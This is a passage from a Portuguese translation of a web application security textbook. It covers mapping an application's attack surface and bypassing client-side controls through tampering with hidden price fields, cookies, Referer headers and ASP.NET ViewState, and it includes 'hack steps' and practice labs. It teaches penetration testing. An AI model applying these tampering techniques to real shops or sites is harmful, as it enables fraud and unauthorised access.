Entre os outros parâmetros, o campo `isExpired` também é interessante. Esse parece ser um sinalizador booleano que especifica se a consulta de pesquisa deve incluir conteúdo expirado. Se os criadores do aplicativo não esperavam que os usuários comuns pudessem recuperar qualquer conteúdo expirado, a alteração desse parâmetro de 0 para 1 poderia identificar uma vulnerabilidade de controle de acesso (consulte o Capítulo 8).

O URL a seguir, que permite que os usuários acessem um sistema de gerenciamento de conteúdo, contém um conjunto diferente de pistas:

```
https://wahh-app.com/workbench.aspx?template=NewBranch.tpl&loc=
/default&ver=2.31&edit=false
```

Aqui, a extensão de arquivo `.aspx` indica que se trata de um aplicativo ASP.NET. Também parece muito provável que o parâmetro `template` seja usado para especificar um nome de arquivo e o parâmetro `loc` seja usado para especificar um diretório. A possível extensão de arquivo
`.tpl` parece confirmar isso, assim como o local `/default`, que poderia muito bem ser um nome de diretório. É possível que o aplicativo recupere o arquivo de modelo especificado e inclua o conteúdo em sua resposta. Esses parâmetros podem ser vulneráveis a ataques de path traversal, permitindo que arquivos arbitrários sejam lidos no servidor (consulte o Capítulo 10).

Também é interessante o parâmetro `edit`, que é definido como `false`. É possível que a alteração desse valor para `true` modifique a funcionalidade de registro, permitindo potencialmente que um invasor edite itens que o desenvolvedor do aplicativo não pretendia que fossem editáveis. O parâmetro `ver` não tem nenhuma finalidade facilmente identificável, mas pode ser que a modificação dele faça com que o aplicativo execute um conjunto diferente de funções que um invasor poderia explorar.

Por fim, considere a seguinte solicitação, que é usada para enviar uma pergunta aos administradores do aplicativo:

```
POST /feedback.php HTTP/1.1
Host: wahh-app.com
Content-Length: 389

from=user@wahh-mail.com&to=helpdesk@wahh-app.com&subject=
Problem+logging+in&message=Please+help...
```

Como nos outros exemplos, a extensão de arquivo `.php` indica que a função é implementada usando a linguagem PHP. Além disso, é extremamente provável que o aplicativo esteja fazendo interface com um sistema de e-mail externo, e parece que a entrada controlável pelo usuário está sendo passada para esse sistema em todos os campos relevantes do e-mail. A função pode ser explorada para enviar mensagens arbitrárias a qualquer destinatário, e qualquer um dos campos também pode ser vulnerável à injeção de cabeçalho de e-mail (consulte o Capítulo 10).

DICA Muitas vezes é necessário considerar todo o URL e o contexto do aplicativo para adivinhar a função de diferentes partes de uma solicitação. Lembre-se do seguinte URL do aplicativo Extreme Internet Shopping:

http://eis/pub/media/117/view

O manuseio desse URL provavelmente é funcionalmente equivalente ao seguinte:

http://eis/manager?schema=pub&type=media&id=117&action=view

Embora não seja certo, parece provável que o recurso **117** esteja contido na coleção de recursos **de mídia** e que o aplicativo esteja executando uma ação nesse recurso que seja equivalente à **exibição**. A inspeção de outros URLs ajudaria a confirmar isso.

A primeira consideração seria alterar a ação de **visualizar** para uma possível alternativa, como **editar** ou **adicionar**. No entanto, se você alterar para **adicionar** e essa suposição estiver correta, isso provavelmente corresponderá a uma tentativa de adicionar um recurso com um **id** de **117**. Isso provavelmente falhará, pois já existe um recurso com o **id 117**. A melhor abordagem seria procurar uma operação de **adição** com um valor **de id** maior do que o valor mais alto observado ou selecionar um valor alto arbitrário. Por exemplo, você poderia solicitar o seguinte:

http://eis/pub/media/7337/add

Também pode valer a pena procurar outras coleções de dados alterando **mídia**, mantendo uma estrutura de URL semelhante:

http://eis/pub/pages/1/view
http://eis/pub/users/1/view

ETAPAS DO HACK

1. Analise os nomes e os valores de todos os parâmetros que estão sendo enviados ao aplicativo no contexto da funcionalidade que eles suportam.
2. Tente pensar como um programador e imagine quais mecanismos e tecnologias do lado do servidor provavelmente foram usados para implementar o comportamento que você pode observar.

Extrapolação do comportamento do aplicativo

Muitas vezes, um aplicativo se comporta de forma consistente em toda a gama de sua funcionalidade. Isso pode ocorrer porque diferentes funções foram escritas pelo mesmo desenvolvedor ou de acordo com a mesma especificação de projeto, ou porque compartilham alguns componentes de código comuns. Nessa situação, pode ser possível tirar conclusões sobre a funcionalidade do lado do servidor em uma área e extrapolá-las para outra área.

Por exemplo, o aplicativo pode impor algumas verificações globais de validação de entrada, como a higienização de vários tipos de entrada potencialmente mal-intencionada antes de ser processada. Depois de identificar uma vulnerabilidade de injeção cega de SQL, você poderá ter problemas para explorá-la, pois suas solicitações criadas estão sendo modificadas de forma invisível pela lógica de validação de entrada. No entanto, outras funções dentro do aplicativo podem fornecer um bom feedback sobre o tipo de sanitização que está sendo realizada - por exemplo, uma função que ecoa alguns dados fornecidos pelo usuário para o navegador. Você pode usar essa função para testar diferentes codificações e variações de sua carga útil de injeção de SQL para determinar qual entrada bruta deve ser enviada para obter a string de ataque desejada após a aplicação da lógica de validação de entrada. Se você tiver sorte, a validação funcionará da mesma forma em todo o aplicativo, permitindo que você explore a falha de injeção.

Alguns aplicativos usam esquemas de ofuscação personalizados ao armazenar dados confidenciais no cliente para evitar a inspeção casual e a modificação desses dados pelos usuários (consulte o Capítulo 5). Alguns desses esquemas podem ser extremamente difíceis de decifrar quando se tem acesso a apenas uma amostra de dados ofuscados. No entanto, pode haver funções no aplicativo em que um usuário pode fornecer uma cadeia de caracteres ofuscada e recuperar o original. Por exemplo, uma mensagem de erro pode incluir os dados ofuscados que levaram ao erro. Se o mesmo esquema de ofuscação for usado em todo o aplicativo, poderá ser possível pegar uma cadeia de caracteres ofuscada de um local (como um cookie) e inseri-la em outra função para decifrar seu significado. Também pode ser possível fazer engenharia reversa do esquema de ofuscação enviando valores sistematicamente variáveis à função e monitorando seus equivalentes desofuscados.

Por fim, os erros geralmente são tratados de forma inconsistente no aplicativo. Algumas áreas capturam e tratam os erros de forma elegante, enquanto outras áreas simplesmente travam e retornam

informações de depuração detalhadas para o usuário (consulte o Capítulo 15). Nessa situação, pode ser possível coletar informações das mensagens de erro retornadas em uma área e aplicá-las a outras áreas em que os erros são tratados de forma elegante. Por exemplo, ao manipular os parâmetros de solicitação de forma sistemática e monitorar as mensagens de erro recebidas, pode ser possível determinar a estrutura interna e a lógica do componente do aplicativo. Se tiver sorte, aspectos dessa estrutura poderão ser replicados em outras áreas.

ETAPAS DO HACK

1. Tente identificar quaisquer locais dentro do aplicativo que possam conter pistas sobre a estrutura interna e a funcionalidade de outras áreas.
2. Talvez não seja possível tirar conclusões definitivas aqui; no entanto, os casos identificados podem ser úteis em um estágio posterior do ataque, quando você estiver tentando explorar possíveis vulnerabilidades.

Isolamento do comportamento exclusivo do aplicativo

Às vezes, a situação é o oposto da que acabamos de descrever. Em muitos aplicativos bem protegidos ou maduros, é empregada uma estrutura consistente que previne vários tipos de ataques, como cross-site scripting, injeção de SQL e acesso não autorizado. Nesses casos, as áreas mais frutíferas para a busca de vulnerabilidades geralmente são as partes do aplicativo que foram adicionadas retrospectivamente, ou "aparafusadas", e, portanto, não são tratadas pela estrutura de segurança geral do aplicativo. Além disso, elas podem não estar corretamente vinculadas ao aplicativo por meio de autenticação, gerenciamento de sessão e controle de acesso. Eles geralmente são identificáveis por meio de diferenças na aparência da GUI, convenções de nomeação de parâmetros ou explicitamente por meio de comentários no código-fonte.

ETAPAS DO HACK

1. Anote qualquer funcionalidade que seja diferente da aparência padrão da GUI, da nomeação de parâmetros ou do mecanismo de navegação usado no restante do aplicativo.
2. Anote também as funcionalidades que provavelmente foram adicionadas retroativamente. Os exemplos incluem funções de depuração, controles CAPTCHA, rastreamento de uso e código de terceiros.
3. Faça uma análise completa dessas áreas e não presuma que as defesas padrão usadas em outras partes do aplicativo se aplicam.

Mapeamento da superfície de ataque

A etapa final do processo de mapeamento é identificar as várias superfícies de ataque expostas pelo aplicativo e as possíveis vulnerabilidades comumente associadas a cada uma delas. A seguir, apresentamos um guia aproximado de alguns tipos principais de comportamento e funcionalidade que você pode identificar e os tipos de vulnerabilidades mais comumente encontrados em cada um deles. O restante deste livro trata dos detalhes práticos de como você pode detectar e explorar cada um desses problemas:

- Validação no lado do cliente - As verificações não podem ser replicadas no servidor
- Interação com o banco de dados - injeção de SQL
- Carregamento e download de arquivos - Vulnerabilidades de passagem de caminho, scripts armazenados entre sites
- Exibição de dados fornecidos pelo usuário - Script entre sites
- Redirecionamentos dinâmicos - ataques de redirecionamento e injeção de cabeçalho
- Recursos de redes sociais - enumeração de nome de usuário, scripting armazenado entre sites
- Login - enumeração de nome de usuário, senhas fracas, capacidade de usar força bruta
- Login de vários estágios - Falhas de lógica
- Estado da sessão - tokens previsíveis, manuseio inseguro de tokens
- Controles de acesso - escalonamento horizontal e vertical de privilégios
- Funções de personificação de usuários - Escalonamento de privilégios
- Uso de comunicações em texto claro - Sequestro de sessão, captura de credenciais e outros dados confidenciais
- Links externos - vazamento de parâmetros de string de consulta no `Referer` cabeçalho
- Interfaces para sistemas externos - Atalhos no manuseio de sessões e/ou controles de acesso
- Mensagens de erro - Vazamento de informações
- Interação de e-mail - injeção de e-mail e/ou comando
- Componentes de código nativo ou interação - Estouros de buffer
- Uso de componentes de aplicativos de terceiros - Vulnerabilidades conhecidas
- Software de servidor da Web identificável - Pontos fracos de configuração comuns, bugs de software conhecidos

Mapeamento do aplicativo Extreme Internet Shopping

Depois de mapear o conteúdo e a funcionalidade do aplicativo EIS, muitos caminhos poderiam ser seguidos para atacar o aplicativo, conforme mostrado na Figura 4-15.

Figura 4-15: A superfície de ataque exposta pelo aplicativo EIS

O diretório `/auth` contém a funcionalidade de autenticação. Vale a pena fazer uma análise completa de todas as funções de autenticação, tratamento de sessões e controle de acesso, incluindo outros ataques de descoberta de conteúdo.

No caminho `/core`, a página sitestats parece aceitar uma matriz de parâmetros delimitados pelo caractere pipe (|). Assim como os ataques convencionais baseados em entrada, outros valores podem ser forçados de forma bruta, como `origem`, `local` e `IP`, em uma tentativa de revelar mais informações sobre outros usuários ou sobre a página especificada em `pageID`. Também pode ser possível descobrir informações sobre

recursos inacessíveis ou para tentar uma opção curinga no `pageID`, como `pageID=all` ou `pageID=*`. Por fim, como o valor de `pageID` observado contém uma barra, ele pode indicar que um recurso está sendo recuperado do sistema de arquivos e, nesse caso, os ataques de passagem de caminho podem ser uma possibilidade.

O caminho `/gb` contém o livro de visitas do site. A visita a essa página sugere que ela é usada como um fórum de discussão, moderado por um administrador. As mensagens são moderadas, mas o desvio de login `login=true` significa que um invasor pode tentar aprovar mensagens maliciosas (para realizar ataques de script entre sites, por exemplo) e ler as mensagens privadas de outros usuários para o administrador.

O caminho `/home` parece conter conteúdo de usuário autenticado. Isso poderia ser uma boa base para tentativas de lançar um ataque horizontal de escalonamento de privilégios para acessar as informações pessoais de outro usuário e para garantir que os controles de acesso estejam presentes e sejam aplicados em todas as páginas.

Uma rápida análise mostra que os caminhos `/icons` e `/images` contêm conteúdo estático. Talvez valha a pena fazer uma força bruta para encontrar nomes de ícones que possam indicar software de terceiros e verificar a indexação de diretórios nesses diretórios, mas é improvável que valha a pena fazer um esforço significativo.

O caminho `/pub` contém recursos do tipo REST em `/pub/media` e `/pub/ user`. Um ataque de força bruta pode ser usado para encontrar as páginas de perfil de outros usuários do aplicativo, tendo como alvo o valor numérico em `/pub/user/11`. A funcionalidade de rede social como essa pode revelar informações do usuário, nomes de usuário e status de logon de outros usuários.

O caminho `/shop` contém o site de compras on-line e tem um grande número de URLs. No entanto, todos eles têm uma estrutura semelhante, e um invasor provavelmente poderia sondar toda a superfície de ataque relevante examinando apenas um ou dois itens. O processo de compra pode conter falhas lógicas interessantes que poderiam ser exploradas para obter descontos não autorizados ou evitar o pagamento.

ETAPAS DO HACK

1. Compreender a funcionalidade principal implementada no aplicativo e os principais mecanismos de segurança em uso.
2. Identifique todos os recursos da funcionalidade e do comportamento do aplicativo que são frequentemente associados a vulnerabilidades comuns.
3. Verifique qualquer código de terceiros em relação a bancos de dados públicos de vulnerabilidades, como **`www.osvdb.org`** para determinar quaisquer problemas conhecidos.
4. Formule um plano de ataque, priorizando a funcionalidade de aparência mais interessante e a mais grave das possíveis vulnerabilidades associadas.

Resumo

O mapeamento do aplicativo é um pré-requisito fundamental para atacá-lo. Pode ser tentador mergulhar de cabeça e começar a procurar bugs, mas dedicar algum tempo para obter uma sólida compreensão da funcionalidade, das tecnologias e da superfície de ataque do aplicativo renderá dividendos no futuro.

Como em quase todos os casos de hacking de aplicativos da Web, a abordagem mais eficaz é usar técnicas manuais complementadas, quando apropriado, por automação controlada. Nenhuma ferramenta totalmente automatizada pode realizar um mapeamento completo do aplicativo de forma segura. Para fazer isso, você precisa usar suas próprias mãos e recorrer à sua própria experiência. A metodologia básica que descrevemos envolve o seguinte:

- Navegação manual e spidering direcionado ao usuário para enumerar o conteúdo visível e a funcionalidade do aplicativo
- Uso de força bruta combinada com inferência e intuição humanas para descobrir o máximo possível de conteúdo oculto
- Uma análise inteligente do aplicativo para identificar sua principal funcionalidade, comportamento, mecanismos de segurança e tecnologias
- Uma avaliação da superfície de ataque do aplicativo, destacando as funções e o comportamento mais promissores para uma sondagem mais focada em vulnerabilidades passíveis de exploração

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Ao mapear um aplicativo, você encontra a seguinte URL:

   `https://wahh-app.com/CookieAuth.dll?GetLogon?curl=Z2Fdefault. aspx`

   Que informações você pode deduzir sobre as tecnologias empregadas no servidor e como ele provavelmente se comportará?

2. O aplicativo que você está procurando implementa a funcionalidade de fórum da Web. Aqui está o único URL que você descobriu:

   `http://wahh-app.com/forums/ucp.php?mode=register`

   Como você pode obter uma lista dos membros do fórum?

3. Ao mapear um aplicativo, você encontra a seguinte URL:

   ```
   https://wahh-app.com/public/profile/Address.
   asp?action=view&location
   =padrão
   ```

   Que informações você pode inferir sobre as tecnologias do lado do servidor? O que você pode conjecturar sobre outros conteúdos e funcionalidades que possam existir?

4. As respostas de um servidor da Web incluem o seguinte cabeçalho:

   ```
   Servidor: Apache-Coyote/1.1
   ```

   O que isso indica sobre as tecnologias em uso no servidor?

5. Você está mapeando dois aplicativos da Web diferentes e solicita o URL `/admin.cpf` de cada aplicativo. Os cabeçalhos de resposta retornados por cada solicitação são mostrados aqui. Com base apenas nesses cabeçalhos, o que você pode deduzir sobre a presença do recurso solicitado em cada aplicativo?

   ```
   HTTP/1.1 200 OK
   Servidor: Microsoft-IIS/5.0
   Expires: Mon, 20 Jun 2011 14:59:21 GMT
   Content-Location: http://wahh-
   app.com/includes/error.htm?404;http://wahh-app.com/admin.cpf Date:
   Mon, 20 Jun 2011 14:59:21 GMT
   Content-Type: text/html
   Accept-Ranges: bytes
   Content-Length: 2117

   HTTP/1.1 401 Unauthorized Server:
   Apache-Coyote/1.1
   WWW-Authenticate: Basic realm="Wahh Administration Site"
   Content-Type: text/html;charset=utf-8
   Content-Length: 954
   Data: Mon, 20 Jun 2011 15:07:27 GMT
   Conexão: fechada
   ```

CAPÍTULO

5

Ignorando o lado do cliente: Controles

O Capítulo 1 descreveu como o principal problema de segurança dos aplicativos da Web surge porque os clientes podem enviar entradas arbitrárias. Apesar desse fato, uma grande parte dos aplicativos Web depende de várias medidas implementadas no lado do cliente para controlar os dados que eles enviam ao servidor. Em geral, isso representa uma falha de segurança fundamental: o usuário tem controle total sobre o cliente e os dados que ele envia e pode ignorar todos os controles implementados no lado do cliente e que não são replicados no servidor.

Um aplicativo pode contar com controles no lado do cliente para restringir a entrada do usuário de duas maneiras amplas. Primeiro, um aplicativo pode transmitir dados por meio do componente do cliente usando um mecanismo que, segundo ele, impedirá que o usuário modifique esses dados quando o aplicativo os ler posteriormente. Em segundo lugar, um aplicativo pode implementar medidas no lado do cliente que controlam a interação do usuário com seu próprio cliente, com o objetivo de restringir a funcionalidade e/ou aplicar controles em torno da entrada do usuário antes que ela seja enviada. Isso pode ser feito usando recursos de formulário HTML, scripts do lado do cliente ou tecnologias de extensão do navegador.

Este capítulo examina exemplos de cada tipo de controle no lado do cliente e descreve as maneiras pelas quais eles podem ser contornados.

Transmissão de dados por meio do cliente

É comum ver um aplicativo passando dados para o cliente em um formato que o usuário final não pode ver ou modificar diretamente, com a expectativa de que esses dados sejam enviados de volta ao servidor em uma solicitação subsequente. Muitas vezes, os desenvolvedores do aplicativo simplesmente presumem que o mecanismo de transmissão usado garantirá que os dados transmitidos pelo cliente não serão modificados ao longo do caminho.

Como tudo o que é enviado do cliente para o servidor está sob o controle do usuário, a suposição de que os dados transmitidos pelo cliente não serão modificados geralmente é falsa e deixa o aplicativo vulnerável a um ou mais ataques.

Você pode se perguntar por que, se o servidor conhece e especifica um determinado item de dados, o aplicativo precisaria transmitir esse valor para o cliente e depois lê-lo de volta. Na verdade, escrever aplicativos dessa forma costuma ser mais fácil para os desenvolvedores por vários motivos:

- Isso elimina a necessidade de manter o controle de todos os tipos de dados na sessão do usuário. A redução da quantidade de dados por sessão armazenados no servidor também pode melhorar o desempenho do aplicativo.
- Se o aplicativo for implantado em vários servidores distintos, com os usuários potencialmente interagindo com mais de um servidor para executar uma ação de várias etapas, pode não ser simples compartilhar dados do lado do servidor entre os hosts que podem lidar com as solicitações do mesmo usuário. Usar o cliente para transmitir dados pode ser uma solução tentadora para o problema.
- Se o aplicativo utilizar componentes de terceiros no servidor, como carrinhos de compras, pode ser difícil ou impossível modificá-los, portanto, a transmissão de dados por meio do cliente pode ser a maneira mais fácil de integrá-los.
- Em algumas situações, o rastreamento de uma nova parte dos dados no servidor pode implicar a atualização de uma API central do lado do servidor, desencadeando, assim, um processo formal completo de gerenciamento de mudanças e testes de regressão. A implementação de uma solução mais fragmentada que envolva a transmissão de dados no lado do cliente pode evitar isso, permitindo o cumprimento de prazos apertados.

No entanto, a transmissão de dados confidenciais dessa forma geralmente não é segura e tem sido a causa de inúmeras vulnerabilidades em aplicativos.

Campos de formulário ocultos

Os campos de formulário HTML ocultos são um mecanismo comum para transmitir dados por meio do cliente de uma forma superficialmente não modificável. Se um campo for marcado como oculto, ele não será exibido na tela. No entanto, o nome e o valor do campo são armazenados no formulário e são

enviado de volta ao aplicativo quando o usuário envia o formulário.

O exemplo clássico dessa falha de segurança é um aplicativo de varejo que armazena os preços dos produtos em campos de formulário ocultos. Nos primórdios dos aplicativos da Web, essa vulnerabilidade era extremamente difundida e, de forma alguma, foi eliminada atualmente. A Figura 5-1 mostra um formulário típico.

Figura 5-1: Um formulário HTML típico

O código por trás desse formulário é o seguinte:

```
<form method="post" action="Shop.aspx?prod=1">
Produto: iPhone 5 <br/>
Preço: 449 <br/>
Quantidade: <input type="text" name="quantity"> (A quantidade máxima é 50)
<br/>
<input type="hidden" name="price" value="449">
<input type="submit" value="Buy">
</form>
```

Observe o campo do formulário chamado `preço`, que está marcado como oculto. Esse campo é enviado ao servidor quando o usuário envia o formulário:

```
POST /shop/28/Shop.aspx?prod=1 HTTP/1.1
Host: mdsec.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

quantidade=1&preço=449
```

EXPERIMENTE!

`http://mdsec.net/shop/28/`

Embora o campo `de preço` não seja exibido na tela e o usuário não possa editá-lo, isso ocorre apenas porque o aplicativo instruiu o navegador a ocultar o campo. Como tudo o que ocorre no lado do cliente está, em última análise, dentro do controle do usuário, essa restrição pode ser contornada para editar o preço.

Uma maneira de conseguir isso é salvar o código-fonte da página HTML, editar o valor do campo, recarregar o código-fonte em um navegador e clicar no botão Comprar. Entretanto, um método mais fácil e elegante é usar um proxy de interceptação para modificar os dados desejados em tempo real.

Um proxy de interceptação é extremamente útil ao atacar um aplicativo da Web e é a única ferramenta realmente indispensável de que você precisa. Há várias ferramentas desse tipo disponíveis. Usaremos o Burp Suite, que foi escrito por um dos autores deste livro. O proxy fica entre o navegador da Web e o aplicativo de destino. Ele intercepta cada solicitação emitida para o aplicativo e cada resposta recebida de volta, tanto para HTTP quanto para HTTPS. Ele pode capturar qualquer mensagem interceptada para inspeção ou modificação pelo usuário. Se você nunca usou um proxy de interceptação antes, leia mais sobre como eles funcionam e como configurá-los e trabalho, no Capítulo 20.

Depois que um proxy de interceptação tiver sido instalado e configurado adequadamente, você poderá capturar a solicitação que envia o formulário e modificar o campo `de preço` para qualquer valor, conforme mostrado na Figura 5-2.

Figura 5-2: Modificação dos valores dos campos de formulário ocultos usando um proxy de interceptação

Se o aplicativo processar a transação com base no preço enviado, você poderá comprar o produto pelo preço de sua escolha.

DICA Se você encontrar um aplicativo que seja vulnerável dessa forma, verifique se pode enviar um valor negativo como preço. Em alguns casos, os aplicativos realmente aceitaram transações usando preços negativos. O invasor recebe um reembolso em seu cartão de crédito e também o item que pediu - uma situação em que todos ganham, se é que isso existe.

Cookies HTTP

Outro mecanismo comum de transmissão de dados por meio do cliente são os cookies HTTP. Assim como os campos de formulário ocultos, normalmente eles não são exibidos na tela e o usuário não pode modificá-los diretamente. É claro que eles podem ser modificados usando um proxy de interceptação, alterando a resposta do servidor que os define ou as solicitações subsequentes do cliente que os emitem.

Considere a seguinte variação do exemplo anterior. Depois que o cliente faz login no aplicativo, ele recebe a seguinte resposta:

```
HTTP/1.1 200 OK
Set-Cookie: DiscountAgreed=25
Content-Length: 1530
...
```

Esse cookie `DiscountAgreed` aponta para um caso clássico de dependência de controles no lado do cliente (o fato de que os cookies normalmente não podem ser modificados) para proteger os dados transmitidos pelo cliente. Se o aplicativo confiar no valor do cookie `DiscountAgreed` quando ele for enviado de volta ao servidor, os clientes poderão obter descontos arbitrários modificando seu valor. Por exemplo:

```
POST /shop/92/Shop.aspx?prod=3 HTTP/1.1
Host: mdsec.net
Cookie: DiscountAgreed=25
Content-Length: 10

quantidade=1
```

EXPERIMENTE!

`http://mdsec.net/shop/92/`

Parâmetros de URL

Os aplicativos frequentemente transmitem dados por meio do cliente usando parâmetros de URL predefinidos. Por exemplo, quando um usuário navega pelo catálogo de produtos, o aplicativo pode fornecer a ele hiperlinks para URLs como os seguintes:

```
http://mdsec.net/shop/?prod=3&pricecode=32
```

Quando um URL contendo parâmetros é exibido na barra de localização do navegador, qualquer parâmetro pode ser modificado facilmente por qualquer usuário sem o uso de ferramentas. No entanto, em muitos casos, um aplicativo pode esperar que usuários comuns não possam visualizar ou modificar parâmetros de URL:

- Onde as imagens incorporadas são carregadas usando URLs que contêm parâmetros
- Onde URLs contendo parâmetros são usados para carregar o conteúdo de um

quadro

- Quando um formulário usa o método `POST` e seu URL de destino contém parâmetros predefinidos
- Quando um aplicativo usa janelas pop-up ou outras técnicas para ocultar a barra de localização do navegador

Obviamente, em qualquer um desses casos, os valores de quaisquer parâmetros de URL podem ser modificados, conforme discutido anteriormente, usando um proxy de interceptação.

O cabeçalho de referência

Os navegadores incluem o cabeçalho `Referer` na maioria das solicitações HTTP. Ele é usado para indicar o URL da página da qual a solicitação atual se originou, seja porque o usuário clicou em um hiperlink ou enviou um formulário, seja porque a página fez referência a outros recursos, como imagens. Portanto, ele pode ser aproveitado como um mecanismo de transmissão de dados por meio do cliente. Como os URLs processados pelo aplicativo estão sob seu controle, os desenvolvedores podem presumir que o cabeçalho `Referer` pode ser usado para determinar com segurança qual URL gerou uma determinada solicitação.

Por exemplo, considere um mecanismo que permite que os usuários redefinam sua senha caso a tenham esquecido. O aplicativo exige que os usuários passem por várias etapas em uma sequência definida antes de realmente redefinirem o valor da senha com a seguinte solicitação:

```
GET /auth/472/CreateUser.ashx HTTP/1.1
Host: mdsec.net
Referência: https://mdsec.net/auth/472/Admin.ashx
```

O aplicativo pode usar o cabeçalho `Referer` para verificar se essa solicitação se originou do estágio correto (`Admin.ashx`). Se for o caso, o usuário poderá acessar a funcionalidade solicitada.

No entanto, como o usuário controla todos os aspectos de cada solicitação, inclusive os cabeçalhos HTTP, esse controle pode ser facilmente contornado indo diretamente ao `CreateUser.ashx` e usando um proxy de interceptação para alterar o valor do cabeçalho `Referer` para o valor exigido pelo aplicativo.

O cabeçalho `Referer` é estritamente opcional de acordo com os padrões w3.org. Portanto, embora a maioria dos navegadores o implemente, usá-lo para controlar a funcionalidade do aplicativo deve ser considerado um hack.

EXPERIMENTE!

`http://mdsec.net/auth/472/`

MITO COMUM

Geralmente, presume-se que os cabeçalhos HTTP são, de alguma forma, mais "à prova de violação" do que outras partes da solicitação, como o URL. Isso pode levar os desenvolvedores a implementar funcionalidades que confiam nos valores enviados nos cabeçalhos, como **`Cookie`** e **`Referer`**, enquanto realizam a validação adequada de outros dados, como os parâmetros de URL. No entanto, essa percepção é falsa. Considerando a grande quantidade de ferramentas de interceptação de proxy disponíveis gratuitamente, qualquer hacker amador que tenha como alvo um aplicativo pode alterar todos os dados da solicitação com facilidade. É como supor que, quando o professor for revistar sua mesa, é mais seguro esconder sua pistola d'água na gaveta de baixo, pois ele precisará se abaixar mais para descobri-la.

ETAPAS DO HACK

1. Localize todas as instâncias no aplicativo em que campos de formulário ocultos, cookies e parâmetros de URL estejam aparentemente sendo usados para transmitir dados por meio do cliente.
2. Tente determinar ou adivinhar a função que o item desempenha na lógica do aplicativo, com base no contexto em que ele aparece e em pistas como o nome do parâmetro.
3. Modificar o valor do item de forma relevante para sua finalidade no aplicativo. Verifique se o aplicativo processa valores arbitrários enviados no parâmetro e se isso expõe o aplicativo a alguma vulnerabilidade.

Dados opacos

Às vezes, os dados transmitidos pelo cliente não são inteligíveis de forma transparente porque foram criptografados ou ofuscados de alguma forma. Por exemplo, em vez de ver o preço de um produto armazenado em um campo oculto, você pode ver um valor enigmático sendo transmitido:

```
<form method="post" action="Shop.aspx?prod=4">
Produto: Nokia Infinity <br/>
Preço: 699 <br/>
Quantidade: <input type="text" name="quantity"> (A quantidade máxima é 50)
<br/>
<input type="hidden" name="price" value="699">
<input type=”hidden” name=”pricing_token”
value=”E76D213D291B8F216D694A34383150265C989229”>
<input type="submit" value="Buy">
</form>
```

Quando isso é observado, você pode razoavelmente inferir que, quando o formulário é enviado, o aplicativo no lado do servidor verifica a integridade da string opaca ou até mesmo a descriptografa ou desofusca para executar algum processamento em seu valor de texto simples. Esse processamento adicional pode ser vulnerável a qualquer tipo de bug. No entanto, para sondar e explorar isso, primeiro você precisa envolver sua carga útil adequadamente.

EXPERIMENTE!

```
http://mdsec.net/shop/48/
```

OBSERVAÇÃO Os itens de dados opacos transmitidos pelo cliente geralmente fazem parte do mecanismo de tratamento de sessão do aplicativo. Os tokens de sessão enviados em cookies HTTP, os tokens anti-CSRF transmitidos em campos ocultos e os tokens de URL de uso único para acessar os recursos do aplicativo são todos alvos potenciais de adulteração no lado do cliente. Diversas considerações são específicas para esses tipos de tokens, conforme discutido em detalhes no Capítulo 7.

ETAPAS DO HACK

Diante de dados opacos sendo transmitidos pelo cliente, são possíveis várias vias de ataque:

1. Se você souber o valor do texto simples por trás da cadeia de caracteres opaca, poderá tentar decifrar o algoritmo de ofuscação que está sendo empregado.
2. Conforme descrito no Capítulo 4, o aplicativo pode conter funções em outros locais que você pode aproveitar para retornar a cadeia de caracteres opaca resultante de um pedaço de texto simples que você controla. Nessa situação, você poderá obter diretamente a cadeia de caracteres necessária para entregar um payload arbitrário à função que você está almejando.
3. Mesmo que a cadeia de caracteres opaca seja impenetrável, pode ser possível reproduzir seu valor em outros contextos para obter um efeito malicioso. Por exemplo, o parâmetro **`pricing_token`** no formulário mostrado anteriormente pode conter uma versão criptografada do preço do produto. Embora não seja possível produzir o equivalente criptografado para um preço arbitrário de sua escolha, talvez seja possível copiar o preço criptografado de um produto diferente e mais barato e enviá-lo em seu lugar.
4. Se tudo o mais falhar, você pode tentar atacar a lógica do lado do servidor que descriptografará ou desofuscará a string opaca enviando variações malformadas dela, por exemplo, contendo valores muito longos, conjuntos de caracteres diferentes e similares.

O estado de exibição do ASP.NET

Um mecanismo comumente encontrado para transmitir dados opacos por meio do cliente é o ASP.NET `ViewState`. Esse é um campo oculto criado por padrão em todos os aplicativos da Web do ASP.NET. Ele contém informações serializadas sobre o

estado da página atual. A plataforma ASP.NET emprega o `ViewState` para aprimorar o desempenho do servidor. Ela permite que o servidor preserve elementos na interface do usuário em solicitações sucessivas sem precisar manter todas as informações de estado relevantes no lado do servidor. Por exemplo, o servidor pode preencher uma lista suspensa com base nos parâmetros enviados pelo usuário. Quando o usuário faz solicitações subsequentes, o navegador não envia o conteúdo da lista de volta ao servidor. Entretanto, o navegador envia o campo oculto `ViewState`, que contém uma forma serializada da lista. O servidor desserializa o `ViewState` e recria a mesma lista que é apresentada ao usuário novamente.

Além dessa finalidade principal do `ViewState`, os desenvolvedores podem usá-lo para armazenar informações arbitrárias em solicitações sucessivas. Por exemplo, em vez de salvar o preço do produto em um campo de formulário oculto, um aplicativo pode salvá-lo no `ViewState` da seguinte forma:

```
string price = getPrice(prodno);
ViewState.Add("price", price);
```

O formulário retornado ao usuário agora tem a seguinte aparência:

```
<form method="post" action="Shop.aspx?prod=3">
<input type="hidden" name=" VIEWSTATE" id=" VIEWSTATE"
value="/wEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA==" /> Produto:
HTC Avalanche <br/>
Preço: 399 <br/>
Quantidade: <input type="text" name="quantity"> (A quantidade máxima é 50)
<br/>
<input type="submit" value="Buy">
</form>
```

Quando o usuário envia o formulário, seu navegador envia o seguinte:

```
POST /shop/76/Shop.aspx?prod=3 HTTP/1.1
Host: mdsec.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

 VIEWSTATE=%2FwEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA%3D%3D&
quantidade=1
```

Aparentemente, a solicitação não contém o preço do produto, apenas a quantidade pedida e o parâmetro `ViewState` opaco. A alteração aleatória desse parâmetro resulta em uma mensagem de erro, e a compra não é processada.

O parâmetro `ViewState` é, na verdade, uma cadeia de caracteres codificada em Base64 que pode ser facilmente decodificada para ver o parâmetro de preço que foi colocado ali:

```
3D FF 01 0F 0F 05 0B 2D 31 35 38 37 31 36 39 30 ; =ÿ.....-15871690
36 32 0F 16 02 1E 05 70 72 69 63 65 05 03 33 39 ; 62. .......preço..39
39 64 64                                        ;     9dd
```

